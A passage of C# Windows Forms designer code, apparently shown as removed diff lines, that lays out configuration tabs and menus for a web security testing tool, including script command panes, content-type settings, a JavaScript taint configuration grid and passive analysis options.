this.ConfigScriptCommandCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptCommandCancelChangesLL_LinkClicked); - // - // ConfigScriptCommandSplit - // - this.ConfigScriptCommandSplit.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptCommandSplit.Location = new System.Drawing.Point(0, 20); - this.ConfigScriptCommandSplit.Margin = new System.Windows.Forms.Padding(0); - this.ConfigScriptCommandSplit.Name = "ConfigScriptCommandSplit"; - this.ConfigScriptCommandSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ConfigScriptCommandSplit.Panel1 - // - this.ConfigScriptCommandSplit.Panel1.Controls.Add(this.label17); - this.ConfigScriptCommandSplit.Panel1.Controls.Add(this.ConfigScriptPyCommandsTB); - // - // ConfigScriptCommandSplit.Panel2 - // - this.ConfigScriptCommandSplit.Panel2.Controls.Add(this.label18); - this.ConfigScriptCommandSplit.Panel2.Controls.Add(this.ConfigScriptRbCommandsTB); - this.ConfigScriptCommandSplit.Size = new System.Drawing.Size(446, 54); - this.ConfigScriptCommandSplit.SplitterDistance = 25; - this.ConfigScriptCommandSplit.SplitterWidth = 2; - this.ConfigScriptCommandSplit.TabIndex = 1; - // - // label17 - // - this.label17.AutoSize = true; - this.label17.Location = new System.Drawing.Point(4, 4); - this.label17.Name = "label17"; - this.label17.Size = new System.Drawing.Size(43, 13); - this.label17.TabIndex = 64; - this.label17.Text = "Python:"; - // - // ConfigScriptPyCommandsTB - // - this.ConfigScriptPyCommandsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptPyCommandsTB.Location = new System.Drawing.Point(0, 20); - this.ConfigScriptPyCommandsTB.Multiline = true; - this.ConfigScriptPyCommandsTB.Name = "ConfigScriptPyCommandsTB"; - this.ConfigScriptPyCommandsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigScriptPyCommandsTB.Size = new System.Drawing.Size(446, 7); - this.ConfigScriptPyCommandsTB.TabIndex = 0; - // - // label18 - // - this.label18.AutoSize = true; - this.label18.Location = new System.Drawing.Point(4, 4); - this.label18.Name = "label18"; - this.label18.Size = new System.Drawing.Size(35, 13); - this.label18.TabIndex = 65; - this.label18.Text = "Ruby:"; - // - // ConfigScriptRbCommandsTB - // - this.ConfigScriptRbCommandsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptRbCommandsTB.Location = new System.Drawing.Point(0, 20); - this.ConfigScriptRbCommandsTB.Multiline = true; - this.ConfigScriptRbCommandsTB.Name = "ConfigScriptRbCommandsTB"; - this.ConfigScriptRbCommandsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigScriptRbCommandsTB.Size = new System.Drawing.Size(446, 0); - this.ConfigScriptRbCommandsTB.TabIndex = 1; - // - // ConfigHTTPAPITab - // - this.ConfigHTTPAPITab.Controls.Add(this.ConfigHTTPAPIBaseSplit); - this.ConfigHTTPAPITab.Location = new System.Drawing.Point(4, 22); - this.ConfigHTTPAPITab.Name = "ConfigHTTPAPITab"; - this.ConfigHTTPAPITab.Size = new System.Drawing.Size(873, 0); - this.ConfigHTTPAPITab.TabIndex = 3; - this.ConfigHTTPAPITab.Text = "HTTP API"; - this.ConfigHTTPAPITab.UseVisualStyleBackColor = true; - // - // ConfigHTTPAPIBaseSplit - // - this.ConfigHTTPAPIBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ConfigHTTPAPIBaseSplit.Location = new System.Drawing.Point(0, 0); - this.ConfigHTTPAPIBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.ConfigHTTPAPIBaseSplit.Name = "ConfigHTTPAPIBaseSplit"; - // - // ConfigHTTPAPIBaseSplit.Panel1 - // - this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.ConfigRequestTypesTB); - this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.label19); - this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.ConfigRequestTypesCancelChangesLL); - this.ConfigHTTPAPIBaseSplit.Panel1.Controls.Add(this.ConfigRequestTypesApplyChangesLL); - // - // ConfigHTTPAPIBaseSplit.Panel2 - // - this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.ConfigResponseTypesTB); - this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.label22); - this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.ConfigResponseTypesApplyChangesLL); - this.ConfigHTTPAPIBaseSplit.Panel2.Controls.Add(this.ConfigResponseTypesCancelChangesLL); - this.ConfigHTTPAPIBaseSplit.Size = new System.Drawing.Size(873, 0); - this.ConfigHTTPAPIBaseSplit.SplitterDistance = 425; - this.ConfigHTTPAPIBaseSplit.SplitterWidth = 2; - this.ConfigHTTPAPIBaseSplit.TabIndex = 1; - // - // ConfigRequestTypesTB - // - this.ConfigRequestTypesTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRequestTypesTB.Location = new System.Drawing.Point(0, 20); - this.ConfigRequestTypesTB.Multiline = true; - this.ConfigRequestTypesTB.Name = "ConfigRequestTypesTB"; - this.ConfigRequestTypesTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigRequestTypesTB.Size = new System.Drawing.Size(425, 0); - this.ConfigRequestTypesTB.TabIndex = 69; - // - // label19 - // - this.label19.AutoSize = true; - this.label19.Location = new System.Drawing.Point(1, 3); - this.label19.Name = "label19"; - this.label19.Size = new System.Drawing.Size(239, 13); - this.label19.TabIndex = 68; - this.label19.Text = "Request Content-Type headers treated as TEXT:"; - // - // ConfigRequestTypesCancelChangesLL - // - this.ConfigRequestTypesCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRequestTypesCancelChangesLL.AutoSize = true; - this.ConfigRequestTypesCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRequestTypesCancelChangesLL.Location = new System.Drawing.Point(377, 4); - this.ConfigRequestTypesCancelChangesLL.Name = "ConfigRequestTypesCancelChangesLL"; - this.ConfigRequestTypesCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigRequestTypesCancelChangesLL.TabIndex = 66; - this.ConfigRequestTypesCancelChangesLL.TabStop = true; - this.ConfigRequestTypesCancelChangesLL.Text = "Cancel"; - this.ConfigRequestTypesCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRequestTypesCancelChangesLL_LinkClicked); - // - // ConfigRequestTypesApplyChangesLL - // - this.ConfigRequestTypesApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigRequestTypesApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigRequestTypesApplyChangesLL.AutoSize = true; - this.ConfigRequestTypesApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigRequestTypesApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigRequestTypesApplyChangesLL.Location = new System.Drawing.Point(329, 4); - this.ConfigRequestTypesApplyChangesLL.Name = "ConfigRequestTypesApplyChangesLL"; - this.ConfigRequestTypesApplyChangesLL.Size = new System.Drawing.Size(38, 13); - this.ConfigRequestTypesApplyChangesLL.TabIndex = 67; - this.ConfigRequestTypesApplyChangesLL.TabStop = true; - this.ConfigRequestTypesApplyChangesLL.Text = "Apply"; - this.ConfigRequestTypesApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigRequestTypesApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRequestTypesApplyChangesLL_LinkClicked); - // - // ConfigResponseTypesTB - // - this.ConfigResponseTypesTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigResponseTypesTB.Location = new System.Drawing.Point(0, 20); - this.ConfigResponseTypesTB.Multiline = true; - this.ConfigResponseTypesTB.Name = "ConfigResponseTypesTB"; - this.ConfigResponseTypesTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigResponseTypesTB.Size = new System.Drawing.Size(446, 0); - this.ConfigResponseTypesTB.TabIndex = 65; - // - // label22 - // - this.label22.AutoSize = true; - this.label22.Location = new System.Drawing.Point(3, 5); - this.label22.Name = "label22"; - this.label22.Size = new System.Drawing.Size(247, 13); - this.label22.TabIndex = 61; - this.label22.Text = "Response Content-Type headers treated as TEXT:"; - // - // ConfigResponseTypesApplyChangesLL - // - this.ConfigResponseTypesApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigResponseTypesApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigResponseTypesApplyChangesLL.AutoSize = true; - this.ConfigResponseTypesApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigResponseTypesApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigResponseTypesApplyChangesLL.Location = new System.Drawing.Point(352, 6); - this.ConfigResponseTypesApplyChangesLL.Name = "ConfigResponseTypesApplyChangesLL"; - this.ConfigResponseTypesApplyChangesLL.Size = new System.Drawing.Size(38, 13); - this.ConfigResponseTypesApplyChangesLL.TabIndex = 60; - this.ConfigResponseTypesApplyChangesLL.TabStop = true; - this.ConfigResponseTypesApplyChangesLL.Text = "Apply"; - this.ConfigResponseTypesApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigResponseTypesApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigResponseTypesApplyChangesLL_LinkClicked); - // - // ConfigResponseTypesCancelChangesLL - // - this.ConfigResponseTypesCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigResponseTypesCancelChangesLL.AutoSize = true; - this.ConfigResponseTypesCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigResponseTypesCancelChangesLL.Location = new System.Drawing.Point(397, 6); - this.ConfigResponseTypesCancelChangesLL.Name = "ConfigResponseTypesCancelChangesLL"; - this.ConfigResponseTypesCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigResponseTypesCancelChangesLL.TabIndex = 59; - this.ConfigResponseTypesCancelChangesLL.TabStop = true; - this.ConfigResponseTypesCancelChangesLL.Text = "Cancel"; - this.ConfigResponseTypesCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigResponseTypesCancelChangesLL_LinkClicked); - // - // ConfigTaintConfigTab - // - this.ConfigTaintConfigTab.Controls.Add(this.ConfigJSTaintConfigCancelChangesLL); - this.ConfigTaintConfigTab.Controls.Add(this.ConfigJSTaintConfigApplyChangesLL); - this.ConfigTaintConfigTab.Controls.Add(this.ConfigDefaultJSTaintConfigGrid); - this.ConfigTaintConfigTab.Location = new System.Drawing.Point(4, 22); - this.ConfigTaintConfigTab.Margin = new System.Windows.Forms.Padding(0); - this.ConfigTaintConfigTab.Name = "ConfigTaintConfigTab"; - this.ConfigTaintConfigTab.Size = new System.Drawing.Size(873, 0); - this.ConfigTaintConfigTab.TabIndex = 6; - this.ConfigTaintConfigTab.Text = "Default JS Taint Config"; - this.ConfigTaintConfigTab.UseVisualStyleBackColor = true; - // - // ConfigJSTaintConfigCancelChangesLL - // - this.ConfigJSTaintConfigCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigJSTaintConfigCancelChangesLL.AutoSize = true; - this.ConfigJSTaintConfigCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigJSTaintConfigCancelChangesLL.Location = new System.Drawing.Point(818, 10); - this.ConfigJSTaintConfigCancelChangesLL.Name = "ConfigJSTaintConfigCancelChangesLL"; - this.ConfigJSTaintConfigCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigJSTaintConfigCancelChangesLL.TabIndex = 68; - this.ConfigJSTaintConfigCancelChangesLL.TabStop = true; - this.ConfigJSTaintConfigCancelChangesLL.Text = "Cancel"; - // - // ConfigJSTaintConfigApplyChangesLL - // - this.ConfigJSTaintConfigApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigJSTaintConfigApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigJSTaintConfigApplyChangesLL.AutoSize = true; - this.ConfigJSTaintConfigApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigJSTaintConfigApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigJSTaintConfigApplyChangesLL.Location = new System.Drawing.Point(770, 10); - this.ConfigJSTaintConfigApplyChangesLL.Name = "ConfigJSTaintConfigApplyChangesLL"; - this.ConfigJSTaintConfigApplyChangesLL.Size = new System.Drawing.Size(36, 13); - this.ConfigJSTaintConfigApplyChangesLL.TabIndex = 69; - this.ConfigJSTaintConfigApplyChangesLL.TabStop = true; - this.ConfigJSTaintConfigApplyChangesLL.Text = "Save"; - this.ConfigJSTaintConfigApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - // - // ConfigDefaultJSTaintConfigGrid - // - this.ConfigDefaultJSTaintConfigGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDefaultJSTaintConfigGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.ConfigDefaultJSTaintConfigGrid.BackgroundColor = System.Drawing.Color.White; - this.ConfigDefaultJSTaintConfigGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ConfigDefaultJSTaintConfigGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ConfigDefaultSourceObjectsColumn, - this.ConfigDefaultSinkObjectsColumn, - this.ConfigDefaultArgumentAssignedASourceMethodsColumn, - this.ConfigDefaultArgumentAssignedToSinkMethodsColumn, - this.ConfigDefaultSourceReturningMethodsColumn, - this.ConfigDefaultSinkReturningMethodsColumn, - this.ConfigDefaultArgumentReturningMethodsColumn}); - this.ConfigDefaultJSTaintConfigGrid.Location = new System.Drawing.Point(0, 30); - this.ConfigDefaultJSTaintConfigGrid.Margin = new System.Windows.Forms.Padding(0); - this.ConfigDefaultJSTaintConfigGrid.Name = "ConfigDefaultJSTaintConfigGrid"; - this.ConfigDefaultJSTaintConfigGrid.Size = new System.Drawing.Size(873, 1256); - this.ConfigDefaultJSTaintConfigGrid.TabIndex = 0; - // - // ConfigDefaultSourceObjectsColumn - // - this.ConfigDefaultSourceObjectsColumn.HeaderText = "Source Objects"; - this.ConfigDefaultSourceObjectsColumn.Name = "ConfigDefaultSourceObjectsColumn"; - // - // ConfigDefaultSinkObjectsColumn - // - this.ConfigDefaultSinkObjectsColumn.HeaderText = "Sink Objects"; - this.ConfigDefaultSinkObjectsColumn.Name = "ConfigDefaultSinkObjectsColumn"; - // - // ConfigDefaultArgumentAssignedASourceMethodsColumn - // - this.ConfigDefaultArgumentAssignedASourceMethodsColumn.HeaderText = "Argument Assigned A Source Methods"; - this.ConfigDefaultArgumentAssignedASourceMethodsColumn.Name = "ConfigDefaultArgumentAssignedASourceMethodsColumn"; - // - // ConfigDefaultArgumentAssignedToSinkMethodsColumn - // - this.ConfigDefaultArgumentAssignedToSinkMethodsColumn.HeaderText = "Argument Assigned To Sink Methods"; - this.ConfigDefaultArgumentAssignedToSinkMethodsColumn.Name = "ConfigDefaultArgumentAssignedToSinkMethodsColumn"; - // - // ConfigDefaultSourceReturningMethodsColumn - // - this.ConfigDefaultSourceReturningMethodsColumn.HeaderText = "Source Returning Methods"; - this.ConfigDefaultSourceReturningMethodsColumn.Name = "ConfigDefaultSourceReturningMethodsColumn"; - // - // ConfigDefaultSinkReturningMethodsColumn - // - this.ConfigDefaultSinkReturningMethodsColumn.HeaderText = "Sink Returning Methods"; - this.ConfigDefaultSinkReturningMethodsColumn.Name = "ConfigDefaultSinkReturningMethodsColumn"; - // - // ConfigDefaultArgumentReturningMethodsColumn - // - this.ConfigDefaultArgumentReturningMethodsColumn.HeaderText = "Argument Returning Methods"; - this.ConfigDefaultArgumentReturningMethodsColumn.Name = "ConfigDefaultArgumentReturningMethodsColumn"; - // - // ConfigPassiveAnalysisTab - // - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnProbeTrafficCB); - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnScanTrafficCB); - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnTestTrafficCB); - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnShellTrafficCB); - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisOnProxyTrafficCB); - this.ConfigPassiveAnalysisTab.Controls.Add(this.label34); - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisSettingsCancelChangesLL); - this.ConfigPassiveAnalysisTab.Controls.Add(this.ConfigPassiveAnalysisSettingsApplyChangesLL); - this.ConfigPassiveAnalysisTab.Location = new System.Drawing.Point(4, 22); - this.ConfigPassiveAnalysisTab.Name = "ConfigPassiveAnalysisTab"; - this.ConfigPassiveAnalysisTab.Size = new System.Drawing.Size(873, 0); - this.ConfigPassiveAnalysisTab.TabIndex = 8; - this.ConfigPassiveAnalysisTab.Text = "Passive Analysis"; - this.ConfigPassiveAnalysisTab.UseVisualStyleBackColor = true; - // - // ConfigPassiveAnalysisOnProbeTrafficCB - // - this.ConfigPassiveAnalysisOnProbeTrafficCB.AutoSize = true; - this.ConfigPassiveAnalysisOnProbeTrafficCB.Checked = true; - this.ConfigPassiveAnalysisOnProbeTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigPassiveAnalysisOnProbeTrafficCB.Location = new System.Drawing.Point(54, 159); - this.ConfigPassiveAnalysisOnProbeTrafficCB.Name = "ConfigPassiveAnalysisOnProbeTrafficCB"; - this.ConfigPassiveAnalysisOnProbeTrafficCB.Size = new System.Drawing.Size(61, 17); - this.ConfigPassiveAnalysisOnProbeTrafficCB.TabIndex = 79; - this.ConfigPassiveAnalysisOnProbeTrafficCB.Text = "Crawler"; - this.ConfigPassiveAnalysisOnProbeTrafficCB.UseVisualStyleBackColor = true; - // - // ConfigPassiveAnalysisOnScanTrafficCB - // - this.ConfigPassiveAnalysisOnScanTrafficCB.AutoSize = true; - this.ConfigPassiveAnalysisOnScanTrafficCB.Location = new System.Drawing.Point(54, 136); - this.ConfigPassiveAnalysisOnScanTrafficCB.Name = "ConfigPassiveAnalysisOnScanTrafficCB"; - this.ConfigPassiveAnalysisOnScanTrafficCB.Size = new System.Drawing.Size(125, 17); - this.ConfigPassiveAnalysisOnScanTrafficCB.TabIndex = 78; - this.ConfigPassiveAnalysisOnScanTrafficCB.Text = "Automated Scanning"; - this.ConfigPassiveAnalysisOnScanTrafficCB.UseVisualStyleBackColor = true; - // - // ConfigPassiveAnalysisOnTestTrafficCB - // - this.ConfigPassiveAnalysisOnTestTrafficCB.AutoSize = true; - this.ConfigPassiveAnalysisOnTestTrafficCB.Checked = true; - this.ConfigPassiveAnalysisOnTestTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigPassiveAnalysisOnTestTrafficCB.Location = new System.Drawing.Point(54, 113); - this.ConfigPassiveAnalysisOnTestTrafficCB.Name = "ConfigPassiveAnalysisOnTestTrafficCB"; - this.ConfigPassiveAnalysisOnTestTrafficCB.Size = new System.Drawing.Size(99, 17); - this.ConfigPassiveAnalysisOnTestTrafficCB.TabIndex = 77; - this.ConfigPassiveAnalysisOnTestTrafficCB.Text = "Manual Testing"; - this.ConfigPassiveAnalysisOnTestTrafficCB.UseVisualStyleBackColor = true; - // - // ConfigPassiveAnalysisOnShellTrafficCB - // - this.ConfigPassiveAnalysisOnShellTrafficCB.AutoSize = true; - this.ConfigPassiveAnalysisOnShellTrafficCB.Checked = true; - this.ConfigPassiveAnalysisOnShellTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigPassiveAnalysisOnShellTrafficCB.Location = new System.Drawing.Point(54, 90); - this.ConfigPassiveAnalysisOnShellTrafficCB.Name = "ConfigPassiveAnalysisOnShellTrafficCB"; - this.ConfigPassiveAnalysisOnShellTrafficCB.Size = new System.Drawing.Size(93, 17); - this.ConfigPassiveAnalysisOnShellTrafficCB.TabIndex = 76; - this.ConfigPassiveAnalysisOnShellTrafficCB.Text = "Scripting Shell"; - this.ConfigPassiveAnalysisOnShellTrafficCB.UseVisualStyleBackColor = true; - // - // ConfigPassiveAnalysisOnProxyTrafficCB - // - this.ConfigPassiveAnalysisOnProxyTrafficCB.AutoSize = true; - this.ConfigPassiveAnalysisOnProxyTrafficCB.Checked = true; - this.ConfigPassiveAnalysisOnProxyTrafficCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigPassiveAnalysisOnProxyTrafficCB.Location = new System.Drawing.Point(54, 67); - this.ConfigPassiveAnalysisOnProxyTrafficCB.Name = "ConfigPassiveAnalysisOnProxyTrafficCB"; - this.ConfigPassiveAnalysisOnProxyTrafficCB.Size = new System.Drawing.Size(52, 17); - this.ConfigPassiveAnalysisOnProxyTrafficCB.TabIndex = 75; - this.ConfigPassiveAnalysisOnProxyTrafficCB.Text = "Proxy"; - this.ConfigPassiveAnalysisOnProxyTrafficCB.UseVisualStyleBackColor = true; - // - // label34 - // - this.label34.AutoSize = true; - this.label34.Location = new System.Drawing.Point(19, 35); - this.label34.Name = "label34"; - this.label34.Size = new System.Drawing.Size(307, 13); - this.label34.TabIndex = 74; - this.label34.Text = "Run Passive Plugins on HTTP traffic from the selected sources:"; - // - // ConfigPassiveAnalysisSettingsCancelChangesLL - // - this.ConfigPassiveAnalysisSettingsCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigPassiveAnalysisSettingsCancelChangesLL.AutoSize = true; - this.ConfigPassiveAnalysisSettingsCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigPassiveAnalysisSettingsCancelChangesLL.Location = new System.Drawing.Point(815, 15); - this.ConfigPassiveAnalysisSettingsCancelChangesLL.Name = "ConfigPassiveAnalysisSettingsCancelChangesLL"; - this.ConfigPassiveAnalysisSettingsCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigPassiveAnalysisSettingsCancelChangesLL.TabIndex = 72; - this.ConfigPassiveAnalysisSettingsCancelChangesLL.TabStop = true; - this.ConfigPassiveAnalysisSettingsCancelChangesLL.Text = "Cancel"; - this.ConfigPassiveAnalysisSettingsCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigPassiveAnalysisSettingsCancelChangesLL_LinkClicked); - // - // ConfigPassiveAnalysisSettingsApplyChangesLL - // - this.ConfigPassiveAnalysisSettingsApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigPassiveAnalysisSettingsApplyChangesLL.AutoSize = true; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigPassiveAnalysisSettingsApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.Location = new System.Drawing.Point(767, 15); - this.ConfigPassiveAnalysisSettingsApplyChangesLL.Name = "ConfigPassiveAnalysisSettingsApplyChangesLL"; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.Size = new System.Drawing.Size(38, 13); - this.ConfigPassiveAnalysisSettingsApplyChangesLL.TabIndex = 73; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.TabStop = true; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.Text = "Apply"; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigPassiveAnalysisSettingsApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigPassiveAnalysisSettingsApplyChangesLL_LinkClicked); - // - // TopMenu - // - this.TopMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.projectToolStripMenuItem, - this.generateReportToolStripMenuItem, - this.toolsToolStripMenuItem, - this.modulesToolStripMenuItem, - this.devToolsToolStripMenuItem, - this.AboutToolStripMenuItem}); - this.TopMenu.Location = new System.Drawing.Point(0, 0); - this.TopMenu.Name = "TopMenu"; - this.TopMenu.Size = new System.Drawing.Size(884, 24); - this.TopMenu.TabIndex = 1; - this.TopMenu.Text = "TopMenu"; - // - // projectToolStripMenuItem - // - this.projectToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.OpenProjectToolStripMenuItem, - this.importToolStripMenuItem}); - this.projectToolStripMenuItem.Name = "projectToolStripMenuItem"; - this.projectToolStripMenuItem.Size = new System.Drawing.Size(56, 20); - this.projectToolStripMenuItem.Text = "Project"; - // - // OpenProjectToolStripMenuItem - // - this.OpenProjectToolStripMenuItem.Name = "OpenProjectToolStripMenuItem"; - this.OpenProjectToolStripMenuItem.Size = new System.Drawing.Size(143, 22); - this.OpenProjectToolStripMenuItem.Text = "Open Project"; - this.OpenProjectToolStripMenuItem.Click += new System.EventHandler(this.OpenProjectToolStripMenuItem_Click); - // - // importToolStripMenuItem - // - this.importToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.ImportBurpLogToolStripMenuItem}); - this.importToolStripMenuItem.Name = "importToolStripMenuItem"; - this.importToolStripMenuItem.Size = new System.Drawing.Size(143, 22); - this.importToolStripMenuItem.Text = "Import"; - // - // ImportBurpLogToolStripMenuItem - // - this.ImportBurpLogToolStripMenuItem.Name = "ImportBurpLogToolStripMenuItem"; - this.ImportBurpLogToolStripMenuItem.Size = new System.Drawing.Size(122, 22); - this.ImportBurpLogToolStripMenuItem.Text = "Burp Log"; - this.ImportBurpLogToolStripMenuItem.Click += new System.EventHandler(this.ImportBurpLogToolStripMenuItem_Click); - // - // generateReportToolStripMenuItem - // - this.generateReportToolStripMenuItem.Name = "generateReportToolStripMenuItem"; - this.generateReportToolStripMenuItem.Size = new System.Drawing.Size(104, 20); - this.generateReportToolStripMenuItem.Text = "Generate Report"; - this.generateReportToolStripMenuItem.Click += new System.EventHandler(this.generateReportToolStripMenuItem_Click); - // - // toolsToolStripMenuItem - // - this.toolsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.EncodeDecodeToolStripMenuItem, - this.DiffTextToolStripMenuItem, - this.RenderHTMLToolStripMenuItem}); - this.toolsToolStripMenuItem.Name = "toolsToolStripMenuItem"; - this.toolsToolStripMenuItem.Size = new System.Drawing.Size(48, 20); - this.toolsToolStripMenuItem.Text = "Tools"; - // - // EncodeDecodeToolStripMenuItem - // - 